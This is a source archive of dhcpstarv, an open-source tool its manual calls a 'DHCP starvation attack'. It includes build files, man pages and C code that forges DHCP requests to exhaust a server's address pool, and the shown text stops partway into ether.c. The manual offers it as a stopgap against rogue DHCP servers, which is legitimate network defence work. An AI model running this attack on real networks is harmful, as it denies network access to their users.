HAVE_MEMORY_H /* Define to 1 if you have the `memset' function. */ #undef HAVE_MEMSET /* Define to 1 if you have the header file. */ #undef HAVE_NETINET_IN_H /* Define to 1 if you have the `select' function. */ #undef HAVE_SELECT /* Define to 1 if you have the header file. */ #undef HAVE_SIGNAL_H /* Define to 1 if you have the `socket' function. */ #undef HAVE_SOCKET /* Define to 1 if you have the header file. */ #undef HAVE_STDDEF_H /* Define to 1 if you have the header file. */ #undef HAVE_STDINT_H /* Define to 1 if you have the header file. */ #undef HAVE_STDLIB_H /* Define to 1 if you have the `strerror' function. */ #undef HAVE_STRERROR /* Define to 1 if you have the `strftime' function. */ #undef HAVE_STRFTIME /* Define to 1 if you have the header file. */ #undef HAVE_STRINGS_H /* Define to 1 if you have the header file. */ #undef HAVE_STRING_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_IOCTL_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_SELECT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_SOCKET_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_STAT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TIME_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TYPES_H /* Define to 1 if you have the header file. */ #undef HAVE_UNISTD_H /* Define to 1 if you have the `vprintf' function. */ #undef HAVE_VPRINTF /* Name of package */ #undef PACKAGE /* Define to the address where bug reports for this package should be sent. */ #undef PACKAGE_BUGREPORT /* Define to the full name of this package. */ #undef PACKAGE_NAME /* Define to the full name and version of this package. */ #undef PACKAGE_STRING /* Define to the one symbol short name of this package. */ #undef PACKAGE_TARNAME /* Define to the version of this package. */ #undef PACKAGE_VERSION /* Define to the type of arg 1 for `select'. */ #undef SELECT_TYPE_ARG1 /* Define to the type of args 2, 3 and 4 for `select'. */ #undef SELECT_TYPE_ARG234 /* Define to the type of arg 5 for `select'. */ #undef SELECT_TYPE_ARG5 /* Define to 1 if you have the ANSI C header files. */ #undef STDC_HEADERS /* Define to 1 if you can safely include both and . */ #undef TIME_WITH_SYS_TIME /* Version number of package */ #undef VERSION /* Define for Solaris 2.5.1 so the uint32_t typedef from , , or is not used. If the typedef was allowed, the #define below would cause a syntax error. */ #undef _UINT32_T /* Define for Solaris 2.5.1 so the uint8_t typedef from , , or is not used. If the typedef was allowed, the #define below would cause a syntax error. */ #undef _UINT8_T /* Define to empty if `const' does not conform to ANSI C. */ #undef const /* Define to rpl_malloc if the replacement function should be used. */ #undef malloc /* Define to `unsigned int' if does not define. */ #undef size_t /* Define to the type of an unsigned integer type of width exactly 16 bits if such a type exists and the standard includes do not define it. */ #undef uint16_t /* Define to the type of an unsigned integer type of width exactly 32 bits if such a type exists and the standard includes do not define it. */ #undef uint32_t /* Define to the type of an unsigned integer type of width exactly 8 bits if such a type exists and the standard includes do not define it. */ #undef uint8_t dhcpstarv-0.2.2/configure.ac000066400000000000000000000016241263001657200160040ustar00rootroot00000000000000# -*- Autoconf -*- # Process this file with autoconf to produce a configure script. AC_PREREQ(2.61) AC_INIT([dhcpstarv], [0.2.2], [ddomgn@gmail.com]) AM_INIT_AUTOMAKE AC_CONFIG_SRCDIR([src/main.c]) AC_CONFIG_HEADER([config.h]) # Checks for programs. AC_PROG_CC # Checks for libraries. # Checks for header files. AC_HEADER_STDC AC_CHECK_HEADERS([arpa/inet.h fcntl.h netinet/in.h stdint.h stdlib.h string.h sys/ioctl.h sys/socket.h sys/time.h unistd.h stddef.h signal.h]) # Checks for typedefs, structures, and compiler characteristics. AC_C_CONST AC_TYPE_SIZE_T AC_HEADER_TIME AC_TYPE_UINT16_T AC_TYPE_UINT32_T AC_TYPE_UINT8_T # Checks for library functions. AC_PROG_GCC_TRADITIONAL AC_FUNC_MALLOC AC_FUNC_MEMCMP AC_FUNC_SELECT_ARGTYPES AC_FUNC_STRFTIME AC_FUNC_VPRINTF AC_CHECK_FUNCS([inet_ntoa memset select socket strerror]) AC_OUTPUT([Makefile src/Makefile]) dhcpstarv-0.2.2/doc/000077500000000000000000000000001263001657200142605ustar00rootroot00000000000000dhcpstarv-0.2.2/doc/dhcpstarv.1000066400000000000000000000144511263001657200163450ustar00rootroot00000000000000.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "dhcpstarv 1" .TH dhcpstarv 1 "2008-03-04" "version 0.1.0" "dhcpstarv manual" .SH "NAME" dhcpstarv \- DHCP starvation attack. .SH "SYNOPSIS" .IX Header "SYNOPSIS" dhcpstarv \-h .PP dhcpstarv [\-epv] [\-d \s-1MAC\s0] \-i \s-1IFNAME\s0 .SH "OPTIONS" .IX Header "OPTIONS" .IP "\fB\-d\fR, \fB\-\-dstmac\fR=\fI\s-1MAC\s0\fR" 8 .IX Item "-d, --dstmac=MAC" Use \fI\s-1MAC\s0\fR as destination hardware address for \s-1DHCP\s0 requests. Default is to use broadcast address. .IP "\fB\-e\fR, \fB\-\-exclude\fR=\fI\s-1ADDRESS\s0\fR" 8 .IX Item "-e, --exclude=ADDRESS" Ignore replies from server with \s-1IP\s0 address \fI\s-1ADDRESS\s0\fR. This must be valid \s-1IP\s0 address \s-1DHCP\s0 server include in replies as server \s-1ID\s0. Usually this is a primary \&\s-1IP\s0 address of interface which is connected to client's network segment. .IP "\fB\-h\fR, \fB\-\-help\fR" 8 .IX Item "-h, --help" Print help and exit. .IP "\fB\-i\fR, \fB\-\-ifname\fR=\fI\s-1IFNAME\s0\fR" 8 .IX Item "-i, --ifname=IFNAME" Send requests and receive responses on network interface \fI\s-1IFNAME\s0\fR. .IP "\fB\-p\fR, \fB\-\-no\-promisc\fR" 8 .IX Item "-p, --no-promisc" Do not set network interface to promiscuous mode. Some servers send replies to hardware address stored in \s-1DHCP\s0 options in spite of broadcast option presence, in which case this option cause \fBdhcpstarv\fR not to receive server replies. .IP "\fB\-v\fR, \fB\-\-verbose\fR" 8 .IX Item "-v, --verbose" Print verbose messages. .SH "DESCRIPTION" .IX Header "DESCRIPTION" \&\s-1DHCP\s0 starvation is attacking a \s-1DHCP\s0 server by sending a lot of requests to it. This lead to server's address pool exhausting after which \s-1DHCP\s0 server is not able to respond clients and give them new leases. .PP \&\fBdhcpstarv\fR is tool that implements \s-1DHCP\s0 starvation attack. It requests \s-1DHCP\s0 leases on specified interface, save them and renew on regular basis. .PP When a rogue \s-1DHCP\s0 server appear in network with \s-1DHCP\s0 infrastructure some clients can get wrong network settings. Those rogue servers can be switched by users by accident. The only solution to issue is to disconnect such server from network. But it takes a lot of time to discover rogue server if network is complicated, i.e. there are many network devices in it. As a temporary solution you can attack rogue \s-1DHCP\s0 server until find and disconnect it from network. .SH "COPYRIGHT" .IX Header "COPYRIGHT" Copyright (C) 2007 Dmitry Davletbaev .PP This program is licenced under \s-1GNU\s0 General Public License version 3. .PP This program comes with \s-1ABSOLUTELY\s0 \s-1NO\s0 \s-1WARRANTY\s0. This is free software, and you are welcome to redistribute it under certain conditions; see for details. dhcpstarv-0.2.2/doc/dhcpstarv.Pod000066400000000000000000000043461263001657200167310ustar00rootroot00000000000000=pod =head1 NAME dhcpstarv - DHCP starvation attack. =head1 SYNOPSIS dhcpstarv -h dhcpstarv [-epv] [-d MAC] [--debug] -i IFNAME =head1 OPTIONS =over 8 =item B<-d>, B<--dstmac>=I Use I as destination hardware address for DHCP requests. Default is to use broadcast address. =item B<--debug> Print additional debug messages. This option is only for developers. =item B<-e>, B<--exclude>=I
Ignore replies from server with IP address I
. This must be valid IP address DHCP server include in replies as server ID. Usually this is a primary IP address of interface which is connected to client's network segment. =item B<-h>, B<--help> Print help and exit. =item B<-i>, B<--ifname>=I Send requests and receive responses on network interface I. =item B<-p>, B<--no-promisc> Do not set network interface to promiscuous mode. Some servers send replies to hardware address stored in DHCP options in spite of broadcast option presence, in which case this option cause B not to receive server replies. =item B<-v>, B<--verbose> Print verbose messages. =back =head1 DESCRIPTION DHCP starvation is attacking a DHCP server by sending a lot of requests to it. This lead to server's address pool exhausting after which DHCP server is not able to respond clients and give them new leases. B is tool that implements DHCP starvation attack. It requests DHCP leases on specified interface, save them and renew on regular basis. When a rogue DHCP server appear in network with DHCP infrastructure some clients can get wrong network settings. Those rogue servers can be switched by users by accident. The only solution to issue is to disconnect such server from network. But it takes a lot of time to discover rogue server if network is complicated, i.e. there are many network devices in it. As a temporary solution you can attack rogue DHCP server until find and disconnect it from network. =head1 COPYRIGHT Copyright (C) 2007 Dmitry Davletbaev This program is licenced under GNU General Public License version 3. This program comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions; see for details. =cut dhcpstarv-0.2.2/doc/pods2mans000077500000000000000000000001471263001657200161160ustar00rootroot00000000000000#!/bin/sh pod2man -n dhcpstarv -c 'dhcpstarv manual' -r 'version 0.1.0' \ dhcpstarv.Pod dhcpstarv.1 dhcpstarv-0.2.2/src/000077500000000000000000000000001263001657200143025ustar00rootroot00000000000000dhcpstarv-0.2.2/src/Makefile.am000066400000000000000000000002571263001657200163420ustar00rootroot00000000000000bin_PROGRAMS = dhcpstarv INCLUDES = -I. dhcpstarv_SOURCES = debug.c dhcp.c ether.c ip.c leases.c log.c main.c \ request.c sock.c udp.c utils.c dhcpstarv_CFLAGS = -Wall dhcpstarv-0.2.2/src/debug.c000066400000000000000000000074641263001657200155470ustar00rootroot00000000000000/* * debug.c: functions used to debug program. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include "debug.h" #include "dhcp.h" #include "utils.h" /* * Print DHCP option description and value. */ void print_opt_description(int code, unsigned char* optvalue, size_t len) { int i; switch (code) { case DHCP_OPT_SUBNETMASK: printf("\t\tSubnet Mask: %s\n", get_ip_str(*((uint32_t*) optvalue))); break; case DHCP_OPT_ROUTER: printf("\t\tRouter Option: %s\n", get_ip_str(*((uint32_t*) optvalue))); break; case DHCP_OPT_DNS: printf("\t\tDomain Name Server Option:"); for (i = 0; i < len / 4; i++) { printf(" %s", get_ip_str(*((uint32_t*) optvalue + i))); } printf("\n"); break; case DHCP_OPT_BROADCAST: printf("\t\tBroadcast Address Option: %s\n", get_ip_str(*((uint32_t*) optvalue))); break; case DHCP_OPT_REQUESTEDIP: printf("\t\tRequested IP Address: %u\n", htonl(*((uint32_t*) optvalue))); break; case DHCP_OPT_LEASETIME: printf("\t\tIP Address Lease Time: %u\n", htonl(*((uint32_t*) optvalue))); break; case DHCP_OPT_MSGTYPE: printf("\t\tDHCP Message Type: "); if (optvalue[0] == DHCP_MSGTYPE_DISCOVER) printf("DHCPDISCOVER\n"); else if (optvalue[0] == DHCP_MSGTYPE_OFFER) printf("DHCPOFFER\n"); else if (optvalue[0] == DHCP_MSGTYPE_REQUEST) printf("DHCPREQUEST\n"); else if (optvalue[0] == DHCP_MSGTYPE_DECLINE) printf("DHCPDECLINE\n"); else if (optvalue[0] == DHCP_MSGTYPE_ACK) printf("DHCPACK\n"); else if (optvalue[0] == DHCP_MSGTYPE_NACK) printf("DHCPNAK\n"); else if (optvalue[0] == DHCP_MSGTYPE_RELEASE) printf("DHCPRELEASE\n"); else printf("unknown (0x%02u)\n", optvalue[0]); break; case DHCP_OPT_SERVERID: printf("\t\tServer Identifier: %s\n", get_ip_str(*((uint32_t*) optvalue))); break; case DHCP_OPT_RENEWALTIME: printf("\t\tRenewal (T1) Time Value: %u\n", htonl(*((uint32_t*) optvalue))); break; case DHCP_OPT_REBINDINGTIME: printf("\t\tRebinding (T2) Time Value: %u\n", htonl(*((uint32_t*) optvalue))); break; default: printf("\t\tcode: %u, size: %lu, value:", code, (unsigned long) len); for (i = 0; i < len; i++) printf(" 0x%02x", optvalue[i]); printf("\n"); break; } } /* * Print DHCP packet contents. */ void print_dhcp_contents(const struct dhcp_packet* dhcp) { int optind = 0; unsigned char optvalue[255]; int code; size_t len; int i; printf("\tDHCP op: %u\n", dhcp->op); printf("\tDHCP hops: %u\n", dhcp->hops); printf("\tDHCP xid: %u\n", dhcp->xid); printf("\tDHCP flags: 0x%x\n", dhcp->flags); printf("\tDHCP ciaddr: %s\n", get_ip_str(dhcp->ciaddr)); printf("\tDHCP yiaddr: %s\n", get_ip_str(dhcp->yiaddr)); printf("\tDHCP siaddr: %s\n", get_ip_str(dhcp->siaddr)); printf("\tDHCP giaddr: %s\n", get_ip_str(dhcp->giaddr)); printf("\tDHCP client MAC: "); for (i = 0; i < 6; i++) printf(" %02x", dhcp->chaddr[i]); printf("\n"); printf("\tOptions:\n"); len = sizeof(optvalue); while (0 <= (optind = dhcp_next_option(dhcp, optind, &code, optvalue, &len))) { print_opt_description(code, optvalue, len); len = sizeof(optvalue); } } dhcpstarv-0.2.2/src/debug.h000066400000000000000000000016251263001657200155450ustar00rootroot00000000000000/* * debug.h: functions used to debug program. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef DEBUG_ROUTINE #define DEBUG_ROUTINE struct dhcp_packet; void print_dhcp_contents(const struct dhcp_packet* dhcp); #endif /* DEBUG_ROUTINE */ dhcpstarv-0.2.2/src/dhcp.c000066400000000000000000000203461263001657200153710ustar00rootroot00000000000000/* * dhcp.c: create and manipulate DHCP packets. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include #include #include "dhcp.h" #include "leases.h" #include "log.h" /* DHCP magic cookie */ static const uint8_t dhcp_magic[] = { 0x63, 0x82, 0x53, 0x63 }; /* * Add option to DHCP packet. Return 0 if successful. */ int dhcp_add_option(struct dhcp_packet* msg, uint8_t optcode, const void* value, uint8_t len) { int i; assert(msg); assert(value); assert(len > 0); for (i = 4; i < MAX_DHCP_OPTIONS_SIZE; ) { if (msg->options[i] == 0 || msg->options[i] == 0xff) break; i++; i += msg->options[i] + 1; } if (MAX_DHCP_OPTIONS_SIZE <= (i + len + 3)) return -1; msg->options[i++] = optcode; msg->options[i++] = len; memcpy(msg->options + i, value, len); msg->options[i + len] = 0xff; return 0; } /* * Return actual DHCP packet size (without padded nulls in options) or -1 on * error. */ size_t get_dhcp_packet_size(const struct dhcp_packet* msg) { int i; assert(msg); for (i = 4; i < MAX_DHCP_OPTIONS_SIZE; ) { if (msg->options[i] == 0 || msg->options[i] == 0xff) break; i++; i += msg->options[i] + 1; } if (i >= MAX_DHCP_OPTIONS_SIZE) return -1; return sizeof(struct dhcp_packet) - MAX_DHCP_OPTIONS_SIZE + i + 1; } /* * Return 0 if buffer contains valid DHCP packet and set `dhcp' to pointer to * respective header in buffer (if it isn't NULL). */ int dhcp_msg(void* buffer, size_t len, struct dhcp_packet** dhcp) { struct iphdr* iph; struct udphdr* udph; struct dhcp_packet* dhcph; assert(buffer); assert(len > 0); if (len < sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(struct dhcp_packet) - MAX_DHCP_OPTIONS_SIZE + 4) return -1; iph = (struct iphdr*) buffer; if (iph->protocol != IPPROTO_UDP) return -1; udph = (struct udphdr*) ((uint8_t*) buffer + iph->ihl * 4); if (67 != htons(udph->dest) && 68 != htons(udph->dest)) return -1; dhcph = (struct dhcp_packet*)((uint8_t*) udph + sizeof(struct udphdr)); if (0 != memcmp(dhcph->options, dhcp_magic, sizeof(dhcp_magic))) return -1; if (dhcp != NULL) *dhcp = dhcph; return 0; } /* * Get optcode, value and size for next option in DHCP packet. For first call 0 * as index should be supplied. For next calls index must be set to returned * value. * * Before call `len' must contain `value' buffer size. After return it contains * actual option value size even if buffer was not large enough and data was * cut. * * Return index of next option or -1 if no more options. */ int dhcp_next_option(const struct dhcp_packet* msg, int index, int* code, void* value, size_t* len) { size_t optlen; assert(msg); assert(code); assert(value); assert(len); assert(*len > 0); /* first 4 bytes are magic cookie */ if (index < 4) index = 4; if (msg->options[index] == 0 || msg->options[index] == 0xff) return -1; *code = msg->options[index++]; optlen = msg->options[index++]; memcpy(value, msg->options + index, (optlen < *len) ? optlen : *len); *len = optlen; index += optlen; if (msg->options[index] == 0 || msg->options[index] == 0xff) return -1; else return index; } /* * Create DHCPDISCOVER. Return DHCP packet size in bytes or -1 on error. If * `broadcast' is not 0 broadcast DHCP flag is set. */ size_t dhcp_make_discover(struct dhcp_packet* dhcp, const struct dhcp_lease* lease, int broadcast) { uint8_t type = DHCP_MSGTYPE_DISCOVER; assert(dhcp); assert(lease); memset(dhcp, 0, sizeof(struct dhcp_packet)); dhcp->op = DHCP_OP_BOOTREQUEST; dhcp->htype = DHCP_HTYPE_ETHER; dhcp->hlen = DHCP_HLEN_ETHER; dhcp->xid = lease->xid; if (broadcast != 0) dhcp->flags |= DHCP_FLAGS_BROADCAST; memcpy(&dhcp->chaddr, lease->mac, sizeof(lease->mac)); memcpy(dhcp->options, dhcp_magic, sizeof(dhcp_magic)); if (0 != dhcp_add_option(dhcp, DHCP_OPT_MSGTYPE, &type, sizeof(type))) return -1; return get_dhcp_packet_size(dhcp); } /* * Create DHCPREQUEST. Return DHCP packet size or -1 on error. If `broadcast' is * not 0 then broadcast flag will be set. */ size_t dhcp_make_request(struct dhcp_packet* msg, const struct dhcp_lease* lease, int broadcast) { uint8_t type = DHCP_MSGTYPE_REQUEST; assert(msg); assert(lease); memset(msg, 0, sizeof(struct dhcp_packet)); msg->op = DHCP_OP_BOOTREQUEST; msg->htype = DHCP_HTYPE_ETHER; msg->hlen = DHCP_HLEN_ETHER; msg->xid = lease->xid; if (broadcast != 0) msg->flags |= DHCP_FLAGS_BROADCAST; memcpy(&msg->chaddr, lease->mac, sizeof(lease->mac)); memcpy(msg->options, dhcp_magic, sizeof(dhcp_magic)); if (0 > dhcp_add_option(msg, DHCP_OPT_MSGTYPE, &type, sizeof(type))) return -1; if (0 > dhcp_add_option(msg, DHCP_OPT_REQUESTEDIP, &lease->client_addr, sizeof(lease->client_addr))) return -1; if (0 > dhcp_add_option(msg, DHCP_OPT_LEASETIME, &lease->lease_time, sizeof(lease->lease_time))) return -1; if (0 > dhcp_add_option(msg, DHCP_OPT_SERVERID, &lease->server_id, sizeof(lease->server_id))) return -1; return get_dhcp_packet_size(msg); } /* * Return 0 if option value size conforms to RFC 1533 or -1 if option is * unknown. */ int dhcp_check_option_size(unsigned optcode, size_t size) { int ret; /* * TODO: here we check only options we use including those we receive * from server. This can lead to 'unknown option'. Add all DHCP options * to this code. */ switch (optcode) { case DHCP_OPT_MSGTYPE: ret = (size == 1) ? 0 : -1; break; case DHCP_OPT_DOMAINNAME: ret = (size > 0) ? 0 : -1; break; case DHCP_OPT_SUBNETMASK: case DHCP_OPT_BROADCAST: case DHCP_OPT_LEASETIME: case DHCP_OPT_SERVERID: case DHCP_OPT_RENEWALTIME: case DHCP_OPT_REBINDINGTIME: ret = (size == 4) ? 0 : -1; break; case DHCP_OPT_ROUTER: case DHCP_OPT_DNS: if (size == 0 || (size % 4) != 0) ret = -1; else ret = 0; break; default: /* unknown option */ ret = -1; } return ret; } /* * Find option in DHCP packet and get it's value and size. Return 0 if option * is found and set `optlen' to actual value size. `optlen' can be NULL. */ int dhcp_get_option(const struct dhcp_packet* dhcp, uint8_t optcode, void* buffer, size_t bufsize, size_t* optlen) { int i; size_t len; assert(dhcp); assert(buffer); assert(bufsize > 0); for (i = 4; i < MAX_DHCP_OPTIONS_SIZE; ) { if (dhcp->options[i] == 0 || dhcp->options[i] == 0xff) return -1; if (dhcp->options[i] == optcode) break; i++; i += dhcp->options[i] + 1; } len = (size_t)(dhcp->options[i + 1]); if (MAX_DHCP_OPTIONS_SIZE <= (i + len + 2)) return -1; if (0 != dhcp_check_option_size(optcode, len)) { log_err("bad option size: optcode=%u, size=%u", optcode, len); return -1; } memcpy(buffer, &dhcp->options[i + 2], (len > bufsize) ? bufsize : len); if (optlen != NULL) *optlen = len; return 0; } /* * Create DHCPREQUEST to renew lease. Return DHCP packet size or -1 on error. If * `broadcast' is not 0 then broadcast flag will be set. */ size_t dhcp_make_renew(struct dhcp_packet* msg, const struct dhcp_lease* lease, int broadcast) { uint8_t type = DHCP_MSGTYPE_REQUEST; assert(msg); assert(lease); memset(msg, 0, sizeof(struct dhcp_packet)); msg->op = DHCP_OP_BOOTREQUEST; msg->htype = DHCP_HTYPE_ETHER; msg->hlen = DHCP_HLEN_ETHER; msg->xid = lease->xid; if (broadcast != 0) msg->flags |= DHCP_FLAGS_BROADCAST; msg->ciaddr = lease->client_addr; memcpy(&msg->chaddr, lease->mac, sizeof(lease->mac)); memcpy(msg->options, dhcp_magic, sizeof(dhcp_magic)); if (0 > dhcp_add_option(msg, DHCP_OPT_MSGTYPE, &type, sizeof(type))) return -1; return get_dhcp_packet_size(msg); } dhcpstarv-0.2.2/src/dhcp.h000066400000000000000000000055561263001657200154040ustar00rootroot00000000000000/* * dhcp.h: create and manipulate DHCP packets. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef DHCP_ROUTINES #define DHCP_ROUTINES /* Message op code / message type (op). */ #define DHCP_OP_BOOTREQUEST 1 #define DHCP_OP_BOOTREPLY 2 /* Hardware address type (htype). */ #define DHCP_HTYPE_ETHER 1 /* Hardware address length (hlen). */ #define DHCP_HLEN_ETHER 6 /* Broadcast flag (flags field). */ #define DHCP_FLAGS_BROADCAST 0x0800 /* DHCP options maximum size. */ #define MAX_DHCP_OPTIONS_SIZE 312 /* Message types. */ #define DHCP_MSGTYPE_DISCOVER 1 #define DHCP_MSGTYPE_OFFER 2 #define DHCP_MSGTYPE_REQUEST 3 #define DHCP_MSGTYPE_DECLINE 4 #define DHCP_MSGTYPE_ACK 5 #define DHCP_MSGTYPE_NACK 6 #define DHCP_MSGTYPE_RELEASE 7 /* DHCP option codes. */ #define DHCP_OPT_SUBNETMASK 1 #define DHCP_OPT_ROUTER 3 #define DHCP_OPT_DNS 6 #define DHCP_OPT_DOMAINNAME 15 #define DHCP_OPT_BROADCAST 28 #define DHCP_OPT_REQUESTEDIP 50 #define DHCP_OPT_LEASETIME 51 #define DHCP_OPT_MSGTYPE 53 #define DHCP_OPT_SERVERID 54 #define DHCP_OPT_RENEWALTIME 58 #define DHCP_OPT_REBINDINGTIME 59 struct ip_header; struct udp_header; struct dhcp_lease; /* DHCP packet. See RFC 2131. */ struct dhcp_packet { uint8_t op; uint8_t htype; uint8_t hlen; uint8_t hops; uint32_t xid; uint16_t secs; uint16_t flags; uint32_t ciaddr; uint32_t yiaddr; uint32_t siaddr; uint32_t giaddr; uint8_t chaddr[16]; uint8_t sname[64]; uint8_t file[128]; uint8_t options[MAX_DHCP_OPTIONS_SIZE]; }; int dhcp_add_option(struct dhcp_packet* msg, uint8_t optcode, const void* value, uint8_t len); int dhcp_msg(void* buffer, size_t len, struct dhcp_packet** dhcp); int dhcp_next_option(const struct dhcp_packet* msg, int index, int* code, void* value, size_t* len); size_t dhcp_make_discover(struct dhcp_packet* dhcp, const struct dhcp_lease* lease, int broadcast); size_t dhcp_make_request(struct dhcp_packet* msg, const struct dhcp_lease* lease, int broadcast); size_t dhcp_make_renew(struct dhcp_packet* msg, const struct dhcp_lease* lease, int broadcast); int dhcp_get_option(const struct dhcp_packet* dhcp, uint8_t optcode, void* buffer, size_t bufsize, size_t* optlen); #endif /* DHCP_ROUTINES */ dhcpstarv-0.2.2/src/ether.c000066400000000000000000000070541263001657200155630ustar00rootroot00000000000000/* * ether.c: link level. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include #include #include #include "ether.h" #include "log.h" /* * Initialize ethernet header structure for sending data via packet socket. * Always return ethernet structure size. */ int init_ether_header(struct ethhdr* eth, const unsigned char* srcmac, const unsigned char* dstmac) { assert(eth); assert(srcmac); assert(dstmac); 